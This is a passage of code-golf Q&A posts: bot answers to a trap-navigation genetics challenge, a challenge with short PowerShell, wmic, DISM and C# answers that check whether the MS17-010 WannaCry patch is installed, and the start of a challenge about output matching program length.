3, 1327822, 558121, 5, 2718, 4, 1258135, 7, 37418, 2729691, 1, 346813, 385282, 2, 35674, 513070, 13, 1930635, 117343, 1929415, 52822, 203219, 1, 52407, 1, 1, 1, 3, 2, 37121, 175148, 136893, 2510439, 2140016, 437281, 53089, 40647, 37663, 2579170, 83294, 1597164, 206059, 1, 9, 75843, 773677, 50188, 12, 1, 1067679, 105216, 2452993, 1813467, 3279553, 280025, 121774, 62, 5, 113, 182135, 1, 16, 71853, 4, 557139, 37803, 228249, 6, 32420, 8, 410034, 73889, 1, 2, 96706, 48515, 1, 3, 1314561, 137, 966719, 692314, 80040, 85147, 75291, 1, 1, 30, 38119, 182723, 42267, 3836110, 22, 986685, 2, 37, 1, 3, 26, 43389, 2679689, 1, 1, 57365, 1, 2662599, 2, 72055, 1, 141247, 1, 1, 1122312, 1, 1080672, 4, 266211, 1, 34163, 1490610, 256341, 1, 627753, 32110, 1, 42468, 1, 10746, 1, 9, 1, 46, 1714133, 5, 117, 1, 104340, 218338, 151958, 122407, 211637, 223307, 57018, 74768, 582232, 2, 621279, 4, 1, 11, 196094, 1839877, 167117, 8, 42991, 2199269, 124676, 1, 1, 1, 5, 1, 1, 698083, 1, 76361, 1564154, 67345, 1398411, 9, 11, 105726, 1197879, 1, 2, 62740, 39, 2, 397236, 17057, 267647, 13, 57509, 22954, 1, 12, 747361, 4325650, 21425, 2160603, 144738, 1, 204054, 3113425, 6, 3019210, 30, 3359, 1, 89117, 489245, 1, 218068, 1, 1, 14718, 222722, 1, 1, 216041, 72252, 279874, 183, 89224, 170218, 1549362, 2, 1, 953626, 32, 130355, 30460, 121028, 20, 159273, 5, 2, 30, 1, 76215, 1654742, 2326439, 1, 53836, 1, 6, 4, 72327, 9, 285883, 1, 908254, 698872, 47779, 3, 2293485, 265788, 3766, 1, 1, 83151, 36431, 307577, 256891, 29, 1, 1, 1093544, 145213, 5, 2, 581319, 2911699, 1, 213061, 1359700, 2, 1, 343110, 1, 157592, 1708730, 1, 22703, 32075, 1, 1, 87720, 159221, 2313143, 10, 2266815, 2106917, 1345560, 3146014, 4, 551632, 1066905, 550313, 4069794, 1, 1406178, 38981, 1, 3, 1, 3039372, 241545, 35, 63325, 85804, 1365794, 2, 2143204, 48, 1, 99, 3225633, 7, 4074564, 1023899, 3209940, 2054326, 70880, 2, 1, 284192, 1944519, 84682, 2, 867681, 90022, 378115, 1, 15, 602743, 1337444, 131, 1, 229, 161445, 3, 2, 5591616, 195977, 92415, 637936, 142928, 1, 2310569, 923, 1, 230288, 1300519, 398529, 2233, 100261, 4323269, 81362, 37300, 1, 233775, 32277, 434139, 323797, 19214, 782633, 2881473, 1, 1, 9, 337016, 1, 515612, 44637, 17, 1, 25, 67758, 1737819, 16454, 30613, 692963, 62216, 222062, 344596, 3, 33782, 19, 180441, 23552, 20462, 70740, 10298, 109691, 1, 1729427, 33714, 1770930, 1, 1, 1, 1, 290766, 136688, 688231, 3250223, 30703, 1985963, 527128, 3, 226340, 195576, 30, 1, 3, 1, 793085, 5527, 5, 1, 2188429, 1327399, 5, 6192537, 1445186, 2478313, 2, 16892, 3, 1, 1, 15, 12, 1361157, 4, 1241684, 1, 45008, 1, 505095, 4037314, 14, 8, 1, 16740, 69906, 45, 1, 240949, 3975533, 212705, 2617552, 278884, 1, 24966, 958059, 231886, 22929, 4052071, 51259, 67791, 78739, 1, 165787, 67, 518191, 86923, 437, 1271004, 135941, 244766, 1, 1, 1, 1152745, 1, 3, 406365, 3847357, 476636, 135097, 304368, 8, 1578276, 1, 1, 375, 1, 1, 1298206, 1860743, 2, 35311, 834516, 421428, 2, 66629, 1, 309845, 398756, 33, 907277, 384475, 2267460, 1, 269300, 124525, 34399, 93584, 362186, 811260, 426109, 1, 1009323, 109986, 122181, 1, 1, 3626487, 11452, 1092410, 57233, 6, 2009226, 1, 83333, 4, 1338631, 79114, 2140249, 51813, 1118986, 43514, 1529365, 1, 101, 1, 1, ``` ``` package game.players; import java.awt.Point; import java.util.*; public class RunningStar extends Player{ @Override public Point takeTurn(String genome, Map<Point, Integer> vision) { Map<Integer, Integer> squareCosts = decode(genome); Path path = astar(vision, squareCosts); return path.get(1); } private Path astar(Map<Point, Integer> vision, Map<Integer, Integer> squareCosts) { Set<Path> closed = new HashSet<>(); PriorityQueue<Path> open = new PriorityQueue<>(); open.add(new Path(new Point(0, 0), 0)); while (!open.isEmpty()){ Path best = open.remove(); if (best.head().x == 2 || (best.head().x > 0 && (best.head().y == 2 || best.head().y == -2))){ return best; } for (Path path : pathsAround(best, vision, squareCosts)){ if (!closed.contains(path) && !open.contains(path)){ open.add(path); } } closed.add(best); } Path p = new Path(new Point(0,0), 0); return p.add(new Point((int)(random.nextDouble() * 3 - 1), (int)(random.nextDouble() * 3 - 1)), 0); } private List<Path> pathsAround(Path path, Map<Point, Integer> vision, Map<Integer, Integer> costs) { Point head = path.head(); List<Path> results = new ArrayList<>(); for (int i = -1; i <= 1; i++){ for (int j = -1; j <= 1; j++){ if (i == 0 && j == 0){ continue; } Point p = new Point(head.x + i, head.y + j); if (!vision.containsKey(p) || vision.get(p) == -1){ continue; } results.add(path.add(p, costs.get(vision.get(p)))); } } return results; } private Map<Integer, Integer> decode(String genome) { int chunkLength = genome.length()/16; Map<Integer, Integer> costs = new HashMap<>(); for (int i = 0; i < 16; i++){ int runSize = 0; int cost = 0; for (int j = i * chunkLength; j < (i + 1) * chunkLength; j++){ switch (genome.charAt(j)){ case '0': runSize = 0; break; case '1': cost += ++runSize; } } costs.put(i, cost); } return costs; } private class Path implements Comparable<Path>{ Point head; Path parent; int length; int totalCost; private Path(){} public Path(Point point, int cost) { length = 1; totalCost = cost; head = point; parent = null; } public Point get(int index) { if (index >= length || index < 0){ throw new IllegalArgumentException(index + ""); } if (index == length - 1){ return head; } return parent.get(index); } public Point head() { return head; } @Override public boolean equals(Object o) { if (this == o) return true; if (o == null || getClass() != o.getClass()) return false; Path path = (Path) o; if (!head.equals(path.head)) return false; return true; } @Override public int hashCode() { return head.hashCode(); } @Override public int compareTo(Path o) { return totalCost - o.totalCost; } public Path add(Point point, int cost) { Path p = new Path(); p.head = point; p.totalCost = totalCost + cost; p.length = length + 1; p.parent = this; return p; } } } ``` [Answer] # LeapForward, Python 2 Not particularly ground-breaking but it is my only attempt that performed ok-ish. ``` class LeapForward(Player): def __init__(self): Player.__init__(self) self.coords = [Coordinate( 1, 0), Coordinate( 1,-1), Coordinate( 1, 1)] self.n_moves = len(self.coords) def turn(self): notOKColors = [self.bit_chunk(4*n,4) for n in range(4,8)] notOKMap = [Coordinate(x-2,y-2) for x in range(0,5) for y in range(0,5) if self.vision[y][x] not in notOKColors] goTo = [c for c in self.coords if c in notOKMap] if not goTo: goTo = [Coordinate(1,0)] return random.choice(goTo) ``` Basically, it codes four colors (each 4 bits) to avoid, in the genome. It then goes forward to a color that is not in that list. If all colors are bad, it still leaps forward to the unknown. [Answer] # Java - IAmARobotPlayer - Score 3.7 I just created this robot rat for comparision with another (not very interesting so far) program I made. It does not score well overall but if it scores somewhere, it will get many rats throu. The idea is that it will only look at the three cells in front of it, each cell is good or bad. This gives a binary number. Then it is going to look up this number in its genome, take the three consecutive bits, also conver them to a number and take the action that is stored under this number. So it acts always the same when it encounters the same situation. ``` package game.players; import java.awt.*; import java.util.Map; public class IAmARobotPlayer extends Player{ private static final Point[] possibleMoves = {new Point(1,-1), new Point(1,0), new Point(1,1), new Point(0,-1), new Point(0,1), new Point(1,-1), new Point(1,0), new Point(1,1)}; private int isGood(int pos,Map<Point,Integer> vision, char[] genomeChar){ int value = vision.get(new Point(1,pos)); if(value ==-1){ return 0; } else { return genomeChar[84+value]-'0'; } } @Override public Point takeTurn(String genome, Map<Point, Integer> vision) { char[] genomeChar = genome.toCharArray(); int situation = 4*isGood(1,vision,genomeChar)+2*isGood(0,vision,genomeChar)+1*isGood(-1,vision,genomeChar); int reaction = 4*(genomeChar[3*situation+0]-'0')+2*(genomeChar[3*situation+1]-'0')+1*(genomeChar[3*situation+2]-'0'); return possibleMoves[reaction]; } } ``` Result: ``` Individual scores: 1, 1, 332, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 47560, 15457, 1, Your final score is 3.7100115087136234 ``` [Answer] # Cautious Specimens - C++ - scores about 2030 over 200 runs This uses the colour part (16x4 bits) of the DNA encoding from [Blind Faith](https://codegolf.stackexchange.com/a/44748/15968) but leaves the rest (36bits) of the DNA entirely unused. The encoding for a colour is either: * 10XX - for safe squares; * 11XX - for lethal squares; and * 0000 through 0111 - for the 8 types trap squares. Where X indicates unused bits. Given that only 2-of-16 colours are traps that will use all 4 of their bits (and only if the trap is offset, which will be the case 8-of-9 times) then there are typically going to be 64 unused bits - the theory is that mutations which affect any of these unused bits are not going to wreck the genome and stability is better than any fancy solutions that can use those remaining bits. The specimens then use this to plan a safe route within a 7x7 grid centred on themselves (the 5x5 their vision allows plus 1 square on each side to allow for offset traps) prioritising moving the greatest distance forward after 3 moves. I did initially start building in some checks to ensure that the fact that the colour the specimen is currently standing on is not lethal corresponds with the genome and flagging any erroneous colours as squares of UNSURE safety (and their adjacent squares) - however it added significant complication for little-to-no gain compared to marking those squares as SAFE and killing a few additional specimens. I will return to this if I have time. ``` #include <initializer_list> #include <vector> enum class D { SAFE, LETHAL,TRAP_N, TRAP_NE, TRAP_E, TRAP_SE, TRAP_S, TRAP_SW, TRAP_W, TRAP_NW, UNSURE }; enum class X { SAFE, LETHAL, UNSURE }; inline void checkLocation( color_t color, D (&dna)[16], D check ) { if ( color != OUT_OF_BOUNDS && dna[color] == check ) dna[color] = D::UNSURE; } inline void updateMapLocation( X (&map)[7][7], unsigned int x, unsigned int y, const X& safety ){ if ( ( safety == X::LETHAL && map[x][y] != X::LETHAL ) || ( safety == X::UNSURE && map[x][y] == X::SAFE ) ) map[x][y] = safety; } inline unsigned int isSafePath( X (&map)[7][7], coord_t p ) { return map[p.x][p.y] == X::SAFE ? 1 : 0; } inline unsigned int isSafePath(X (&map)[7][7],coord_t p,coord_t q,coord_t r){ if ( isSafePath( map,p ) ) if ( isSafePath( map, q ) ) return isSafePath( map, r ); return 0; } inline unsigned int isSafeEast( X (&map)[7][7], coord_t p ) { if ( !isSafePath( map, p ) ) return 0; if ( p.x == 6 ) return 1; return isSafeEast(map,{p.x+1,p.y-1}) +isSafeEast(map,{p.x+1,p.y+0}) +isSafeEast(map,{p.x+1,p.y+1}); } template<typename T> inline T max(T a,T b){return a>=b?a:b;} template<typename T, typename... A> inline T max(T a,T b,A... c){return max(max(a,b),c...); } coord_t cautiousSpecimins( dna_t d, view_t v ) { X map[7][7] = { { X::SAFE } }; D dna[16] = { D::UNSURE }; for ( color_t i = 0; i < 16; i++ ) { if ( d[4*i] == 1 ) { dna[i] = d[4*i + 1] == 1 ? D::LETHAL : D::SAFE; } else { switch ( dnarange( d, 4*i + 1, 3 ) ) { case 0: dna[i] = D::TRAP_N; break; case 1: dna[i] = D::TRAP_NE; break; case 2: dna[i] = D::TRAP_E; break; case 3: dna[i] = D::TRAP_SE; break; case 4: dna[i] = D::TRAP_S; break; case 5: dna[i] = D::TRAP_SW; break; case 6: dna[i] = D::TRAP_W; break; case 7: dna[i] = D::TRAP_NW; break; default: dna[i] = D::UNSURE; break; } } } if ( v(-1, 0) != OUT_OF_BOUNDS ) checkLocation( v( 0, 0), dna, D::LETHAL ); if ( v(-1, 0) != OUT_OF_BOUNDS ) for ( unsigned int y = 0; y < 7; ++ y ) map[2][y] = X::LETHAL; if ( v(-2, 0) != OUT_OF_BOUNDS ) for ( unsigned int x = 0; x < 2; ++x ) for ( unsigned int y = 0; y < 7; ++ y ) map[x][y] = X::LETHAL; if ( v( 0, 1) == OUT_OF_BOUNDS ) for ( unsigned int x = 0; x < 7; ++x ) map[x][4] = X::LETHAL; if ( v( 0, 2) == OUT_OF_BOUNDS ) for ( unsigned int x = 0; x < 7; ++x ) for ( unsigned int y = 5; y < 7; ++ y ) map[x][y] = X::LETHAL; if ( v( 0,-1) == OUT_OF_BOUNDS ) for ( unsigned int x = 0; x < 7; ++x ) map[x][2] = X::LETHAL; if ( v( 0,-2) == OUT_OF_BOUNDS ) for ( unsigned int x = 0; x < 7; ++x ) for ( unsigned int y = 0; y < 2; ++ y ) map[x][y] = X::LETHAL; checkLocation( v( 1, 1), dna, D::TRAP_SW ); checkLocation( v( 1, 0), dna, D::TRAP_W ); checkLocation( v( 1,-1), dna, D::TRAP_NW ); checkLocation( v( 0,-1), dna, D::TRAP_N ); checkLocation( v(-1,-1), dna, D::TRAP_NE ); checkLocation( v(-1, 0), dna, D::TRAP_E ); checkLocation( v(-1, 1), dna, D::TRAP_SE ); checkLocation( v( 0, 1), dna, D::TRAP_S ); for ( int x = 1; x <= 5; ++x ) { for ( int y = 1; y <= 5; ++y ) { switch( dna[v(x-3,y-3)] ) { case D::LETHAL : updateMapLocation( map, x+0, y+0, X::LETHAL ); break; case D::TRAP_N : updateMapLocation( map, x+0, y+1, X::LETHAL ); break; case D::TRAP_NE: updateMapLocation( map, x+1, y+1, X::LETHAL ); break; case D::TRAP_E : updateMapLocation( map, x+1, y+0, X::LETHAL ); break; case D::TRAP_SE: updateMapLocation( map, x+1, y-1, X::LETHAL ); break; case D::TRAP_S : updateMapLocation( map, x+0, y-1, X::LETHAL ); break; case D::TRAP_SW: updateMapLocation( map, x-1, y-1, X::LETHAL ); break; case D::TRAP_W : updateMapLocation( map, x-1, y+0, X::LETHAL ); break; case D::TRAP_NW: updateMapLocation( map, x-1, y+1, X::LETHAL ); break; // case D::UNSURE : updateMapLocation( map, x+0, y+0, X::SAFE ); // updateMapLocation( map, x+0, y+1, X::UNSURE ); // updateMapLocation( map, x+1, y+1, X::UNSURE ); // updateMapLocation( map, x+1, y+0, X::UNSURE ); // updateMapLocation( map, x+1, y-1, X::UNSURE ); // updateMapLocation( map, x+0, y-1, X::UNSURE ); // updateMapLocation( map, x-1, y-1, X::UNSURE ); // updateMapLocation( map, x-1, y+0, X::UNSURE ); // updateMapLocation( map, x-1, y+1, X::UNSURE ); // break; default : break; } } } unsigned int north = isSafeEast(map,{4,4}); unsigned int east = isSafeEast(map,{4,3}); unsigned int south = isSafeEast(map,{4,2}); unsigned int mx = max( north, east, south ); unsigned int sz; std::vector<coord_t> dir; if ( mx > 0 ) { if ( north == mx ) dir.push_back( {+1,+1} ); if ( east == mx ) dir.push_back( {+1,+0} ); if ( south == mx ) dir.push_back( {+1,-1} ); return dir[v.rng.rint(dir.size())]; } north = isSafePath(map,{4,4},{5,5},{5,6}) + isSafePath(map,{4,4},{4,5},{5,6}); south = isSafePath(map,{4,2},{5,1},{5,0}) + isSafePath(map,{4,2},{4,1},{5,0}); mx = max( north, south ); if ( mx > 0 ) { if ( north == mx ) dir.push_back( {+1,+1} ); if ( south == mx ) dir.push_back( {+1,-1} ); return dir[v.rng.rint(dir.size())]; } north = isSafePath(map,{3,4},{4,5},{5,6}); south = isSafePath(map,{3,2},{4,1},{5,0}); mx = max( north, south ); if ( mx > 0 ) { if ( north == mx ) dir.push_back( {+0,+1} ); if ( south == mx ) dir.push_back( {+0,-1} ); return dir[v.rng.rint(dir.size())]; } north = 2*isSafePath(map,{4,4},{4,5},{4,6}) + 1*isSafePath(map,{4,4},{3,5},{4,6}); south = 2*isSafePath(map,{4,2},{4,1},{4,0}) + 1*isSafePath(map,{4,2},{3,1},{4,0}); mx = max( north, south ); if ( mx > 0 ) { if ( north == mx ) dir.push_back( {+1,+1} ); if ( south == mx ) dir.push_back( {+1,-1} ); return dir[v.rng.rint(dir.size())]; } north = isSafePath(map,{3,4},{4,5},{4,6}) + isSafePath(map,{3,4},{3,5},{4,6}); south = isSafePath(map,{3,2},{4,1},{4,0}) + isSafePath(map,{3,2},{3,1},{4,0}); mx = max( north, south ); if ( mx > 0 ) { if ( north == mx ) dir.push_back( {+0,+1} ); if ( south == mx ) dir.push_back( {+0,-1} ); return dir[v.rng.rint(dir.size())]; } north = isSafePath(map,{2,4},{3,5},{4,6}); south = isSafePath(map,{2,2},{3,1},{4,0}); mx = max( north, south ); if ( mx > 0 ) { if ( north == mx ) dir.push_back( {-1,+1} ); if ( south == mx ) dir.push_back( {-1,-1} ); return dir[v.rng.rint(dir.size())]; } north = isSafePath(map,{3,4},{3,5},{3,6}) + isSafePath(map,{3,4},{2,5},{3,6}); south = isSafePath(map,{3,2},{3,1},{3,0}) + isSafePath(map,{3,2},{2,1},{3,0}); mx = max( north, south ); if ( mx > 0 ) { if ( north == mx ) dir.push_back( {+0,+1} ); if ( south == mx ) dir.push_back( {+0,-1} ); return dir[v.rng.rint(dir.size())]; } north = isSafePath(map,{2,4},{3,5},{4,6}); south = isSafePath(map,{2,2},{3,1},{4,0}); mx = max( north, south ); if ( mx > 0 ) { if ( north == mx ) dir.push_back( {-1,+1} ); if ( south == mx ) dir.push_back( {-1,-1} ); return dir[v.rng.rint(dir.size())]; } return {-1,-1}; } ``` Sample Scores: ``` Scores: 421155 2 129418 71891 90635 1 211 1111987 29745 7 2200750 41793 50500 45 2012072 2 485698 1 110061 1554720 210308 249336 2 1 262110 17 3 19 1719139 23859 45118 3182784 318 2 1 15572 14 2822954 18 11 2 3 15954 1331392 2296280 135015 1 360826 1 692367 4 244775 4814645 3749144 3 1 660000 1 11 3688002 3920202 3428464 123053 1 243520 86 9 6 289576 195966 549120 220918 9 1 43 71046 5213 118177 150678 54639 3 200839 1 3 6 1978584 1514393 119502 1 1 137695 184889 337956 1 1 441405 133902 991 1 4137428 1 1427115 3340977 1 2 1 55559 11 1 94886 30270 1 6 3 69394 264780 6877 47758 128568 1 116672 130539 163747 96253 1 2654354 1 141 58212 1613661 27 9504 1 2474022 843890 1 59 3110814 2353731 150296 313748 2590241 6 5970407 1434171 2 334715 141277 1 56810 2964306 51544 61973 715590 1 106 900384 50948 2 34652 108096 391006 1 2969764 47625 1 24 30481 44 8 1 18 2094036 106461 3080432 75 620651 16 71730 282145 275031 17 1 8 15 121731 18 2 1 1 495868 3252390 6 1 63712 7 3733149 13380 1 1 Geometric mean score: 2030.17 ``` Max Score during testing: 8,150,817 Specimens Saved. ]
[Question] [ # Warning The answers to this challenge test for a specific version of the patch that helps stop WannaCrypt/WannaCry attacks. Depending on your operating system, you may have a different patch. **The best way to protect yourself is to make sure your PC is fully up to date and be careful when opening attachments and web links.** --- # Introduction I like to think programmers are inherently good people, [even if some aren't so nice](http://www.bbc.co.uk/news/technology-39901382), so lets help people make sure they are protected with the [MS17-010 patch](https://technet.microsoft.com/en-us/library/security/ms17-010.aspx). # Challenge Your challenge is to write a full program or function that returns a [truthy or falsey](https://codegolf.meta.stackexchange.com/questions/2190/interpretation-of-truthy-falsey?answertab=votes#tab-top) value depending on if the MS17-010 patch is installed on the current operating system. # Input and Output Input: No input required Output: A truthy or falsey value (Indicate which is used for each case). An error/exception can be considered a falsey value. # Rules * Your code should run (and output correctly) on at least one windows operating system for which the patch is available, but doesn't have to run on every operating system (Please state any limitations). * [Standard loopholes apply](https://codegolf.meta.stackexchange.com/questions/1061/loopholes-that-are-forbidden-by-default) * This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), so the submission with the least amount of bytes wins! [Answer] # PowerShell 2.0, ~~24~~ ~~20~~ 16 bytes ``` hotfix KB4012212 ``` -4 bytes thanks to *@whatever* by removing `-id`. -4 bytes thanks to *@DankoDurbić* by changing `get-hotfix` to `hotfix`. `KB4012212` is the patch for Windows 7. This can be replaced with any KB-code from [the linked page of the patch](https://technet.microsoft.com/en-us/library/security/ms17-010.aspx). Will return the *Source*, *Description*, *HotFixID*, *InstalledBy* and *InstalledOn* information when it's installed as truthy value, and will give an error if it's unable to find it as falsey value. Here is an example of both a truthy and falsey output (so `KB4012212` is installed on my machine, but `KB4012215` is not): [![enter image description here](https://i.stack.imgur.com/7jEvs.png)](https://i.stack.imgur.com/7jEvs.png) [Answer] # Batch / Windows CMD, ~~31~~ ~~29~~ ~~28~~ 23 bytes ``` wmic qfe|find "4012212" ``` -1 byte thanks to *@SteveFest* by changing `findstr 4012212` to `find "4012212"`. -5 bytes thanks to *@BassdropCumberwubwubwub* by removing `list`. **Explanation:** ``` wmic Windows Management Instrumentation Command-line qfe Quick Fix Engineering |find "..." Looks for the string in the complete output ``` Outputs some patch info if it's installed, or nothing otherwise. In the screenshot below, patch `4012212` is installed, and `4012215` is not. [![enter image description here](https://i.stack.imgur.com/kHEgS.png)](https://i.stack.imgur.com/kHEgS.png) [Answer] ## Bash + Cygwin (Or WSL), 21 bytes This answer is mostly stolen from Kevin's [answer](https://codegolf.stackexchange.com/a/120793/36915). So throw an upvote that way also if you think this deserves one. ``` wmic qfe|grep 4012212 ``` Cygwin has access to the Windows commands in addition to coreutils. We are able to use coreutils's `grep` instead of Windows's `find` so we don't need to use quotes. 2 bytes are saved because of this. [Answer] ## Powershell 5.1, 245 212 207 bytes ``` $S=New-Object -ComObject Microsoft.Update.Session;$T=$S.CreateUpdateSearcher();$H=$‌​T.GetTotalHistoryCo‌​unt();$p=0;$T.Query‌​History(0,$H)|ForEa‌​ch-Object -Process{if($_.Title -like"*KB4013429*"){$p=1;}};echo $p; ``` -33 bytes thanks to @KevinCruijssen removing white space and replacing true and false with 1 and 0. -5 bytes thanks to @KevinCruijssen shortening variable names Obviously not going to win any prizes, but this powershell script will check the Microsoft Update history log for KB4013429 (one of the patches listed on the [link](https://technet.microsoft.com/en-us/library/security/ms17-010.aspx)) it can be replaced with any of the patches. Thought I'd post it because it's a little more reliable if the patch has been replaced with a later one. [Answer] ## C#, ~~178~~ ~~143~~ ~~141~~ 134 bytes ``` _=>new System.Management.ManagementObjectSearcher("SELECT * FROM Win32_QuickFixEngineering WHERE HotFixID='KB3150513'").Get().Count>0; ``` Compiles to a `Func<int, bool>` where the input is unused. *Saved 35 bytes with the help of @Ryan* *Saved 2 bytes thanks to @KevinCruijssen* *Saved 7 bytes thanks to @ErikKarlsson* Formatted version: ``` System.Func<int, bool> f = _ => new System.Management.ManagementObjectSearcher("SELECT * FROM Win32_QuickFixEngineering WHERE HotFixID = 'KB3150513'") .Get().Count > 0; ``` [Answer] # Cygwin, 31 bytes Just to play the rebel ``` grep KB4012212 "$WINDIR"/*e.log ``` the return code will be 0 if the patch has been applied, or 1 if it hasn't. Tested under Windows 7 with Cygwin 2.6.0 [Answer] ## PowerShell v4, 64 bytes ``` HotFix|? HotFixID -m "401(221[2-7])|(2598)|(2606)|(3198)|(3429)" ``` Checks for all KB refs using a RegEx (now you have two problems) [Answer] # Batch/Command Prompt, ~~**27**~~ 25 bytes ``` systeminfo|find "4012212" ``` If KB4012212 is found output that, otherwise nothing is outputted. Thanks to @Kevin for saving 2 bytes :) [Answer] # Powershell 2.0, 142 bytes * Returns 0 for "false", not patched" < 0 for "true", patched. Below contains all KB's from March, but needs expanded with April, May KB's as each supersedes all previous. ``` (Get-HotFix | where HotFixID -match "4012598","4012216","4012213","4012217","4012214","4012215","4012212","4013429","4012606","4013198").Count ``` [Answer] ## Powershell 5.1 134 Bytes Same as Mark Pippin's but changed the Get-Hotfix to Hotfix and where to ? saving 8 bytes ``` (HotFix | ? HotFixID -match "4012598","4012216","4012213","4012217","4012214","4012215","4012212","4013429","4012606","4013198").Count ``` I can't get it lower in byte-count than Kevin's answer [Answer] # [DISM](https://technet.microsoft.com/en-us/library/hh825236.aspx), 40 bytes ``` dism/online /get-packages|find "4012212" ``` **Explanation:** ``` dism Deployment Image Servicing and Management command-line /online Look at current running PC's Operating System /get-packages Display some basic information about all packages in the image |find "..." Looks for the string in the complete output ``` Outputs the package identity if it's installed, or nothing otherwise. In the screenshot below, patch `4012212` is installed, and `4012215` is not. [![enter image description here](https://i.stack.imgur.com/oJzYF.png)](https://i.stack.imgur.com/oJzYF.png) ]
[Question] [ In this challenge, you should write a program or function which takes no input and prints or returns a string with the same number of bytes as the program itself. There are a few rules: * You may only output bytes in the printable ASCII range (0x20 to 0x7E, inclusive), or newlines (0x0A or 0x0D). * Your code must not be a quine, so the code and the output must differ in at least one byte. * Your code must be at least one byte long. * If your output contains trailing newlines, those are part of the byte count. * If your code requires non-standard command-line flags, count them as usual (i.e. by adding the difference to a standard invocation of your language's implementation to the byte count), and the output's length must match your solution's score. E.g. if your program is `ab` and requires the non-standard flag `-n` (we'll assume it can't be combined with standard flags, so it's 3 bytes), you should output 5 bytes in total. * The output doesn't always have to be the same, as long as you can show that every possible output satisfies the above requirements. * Usual quine rules *don't* apply. You may read the source code or its size, but I doubt this will be shorter than hardcoding it in most languages. You may write a [program or a function](https://codegolf.meta.stackexchange.com/q/2419) and use any of the [standard methods](https://codegolf.meta.stackexchange.com/q/2447) of providing output. Note that if you print the result, you may choose to print it either to the standard output or the standard error stream, but only one of them counts. You may use any [programming language](https://codegolf.meta.stackexchange.com/q/2028), but note that [these loopholes](https://codegolf.meta.stackexchange.com/q/1061/) are forbidden by default. This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), so the shortest valid answer – measured in *bytes* – wins. ### Leaderboard ``` var QUESTION_ID=121056,OVERRIDE_USER=8478;function answersUrl(e){return"https://api.stackexchange.com/2.2/questions/"+QUESTION_ID+"/answers?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+ANSWER_FILTER}function commentUrl(e,s){return"https://api.stackexchange.com/2.2/answers/"+s.join(";")+"/comments?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+COMMENT_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){answers.push.apply(answers,e.items),answers_hash=[],answer_ids=[],e.items.forEach(function(e){e.comments=[];var s=+e.share_link.match(/\d+/);answer_ids.push(s),answers_hash[s]=e}),e.has_more||(more_answers=!1),comment_page=1,getComments()}})}function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){e.items.forEach(function(e){e.owner.user_id===OVERRIDE_USER&&answers_hash[e.post_id].comments.push(e)}),e.has_more?getComments():more_answers?getAnswers():process()}})}function getAuthorName(e){return e.owner.display_name}function process(){var e=[];answers.forEach(function(s){var r=s.body;s.comments.forEach(function(e){OVERRIDE_REG.test(e.body)&&(r="<h1>"+e.body.replace(OVERRIDE_REG,"")+"</h1>")});var a=r.match(SCORE_REG);a&&e.push({user:getAuthorName(s),size:+a[2],language:a[1],link:s.share_link})}),e.sort(function(e,s){var r=e.size,a=s.size;return r-a});var s={},r=1,a=null,n=1;e.forEach(function(e){e.size!=a&&(n=r),a=e.size,++r;var t=jQuery("#answer-template").html();t=t.replace("{{PLACE}}",n+".").replace("{{NAME}}",e.user).replace("{{LANGUAGE}}",e.language).replace("{{SIZE}}",e.size).replace("{{LINK}}",e.link),t=jQuery(t),jQuery("#answers").append(t);var o=e.language;/<a/.test(o)&&(o=jQuery(o).text()),s[o]=s[o]||{lang:e.language,user:e.user,size:e.size,link:e.link}});var t=[];for(var o in s)s.hasOwnProperty(o)&&t.push(s[o]);t.sort(function(e,s){var F=function(a){return a.lang.replace(/<\/?a.*?>/g,"").toLowerCase()},el=F(e),sl=F(s);return el>sl?1:el<sl?-1:0});for(var c=0;c<t.length;++c){var i=jQuery("#language-template").html(),o=t[c];i=i.replace("{{LANGUAGE}}",o.lang).replace("{{NAME}}",o.user).replace("{{SIZE}}",o.size).replace("{{LINK}}",o.link),i=jQuery(i),jQuery("#languages").append(i)}}var ANSWER_FILTER="!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe",COMMENT_FILTER="!)Q2B_A2kjfAiU78X(md6BoYk",answers=[],answers_hash,answer_ids,answer_page=1,more_answers=!0,comment_page;getAnswers();var SCORE_REG=/<h\d>\s*([^\n,]*[^\s,]),.*?(\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/,OVERRIDE_REG=/^Override\s*header:\s*/i; ``` ``` body{text-align:left!important}#answer-list,#language-list{padding:10px;width:290px;float:left}table thead{font-weight:700}table td{padding:5px} ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr></thead> <tbody id="answers"> </tbody> </table> </div><div id="language-list"> <h2>Winners by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr></thead> <tbody id="languages"> </tbody> </table> </div><table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> ``` [Answer] # C (modern Linux), 19 bytes ``` main(){puts('s');} ``` When compiled and run, this prints: ``` Segmentation fault ``` [Answer] ## Excel, 11 bytes Norwegian language version: ``` =SMÅ(13^9) ``` English language version (12 bytes): ``` =LOWER(17^9) ``` Generates n-digit number and converts to text by converting to lowercase. [Answer] # Bash (builtins only), 8 bytes ``` {e,,}cho ``` Prints `cho cho` and a newline. [Answer] ## [Labyrinth](https://github.com/m-ender/labyrinth), 4 bytes ``` !!>@ ``` [Try it online!](https://tio.run/nexus/labyrinth#@6@oaOfw/z8A "Labyrinth – TIO Nexus") Prints 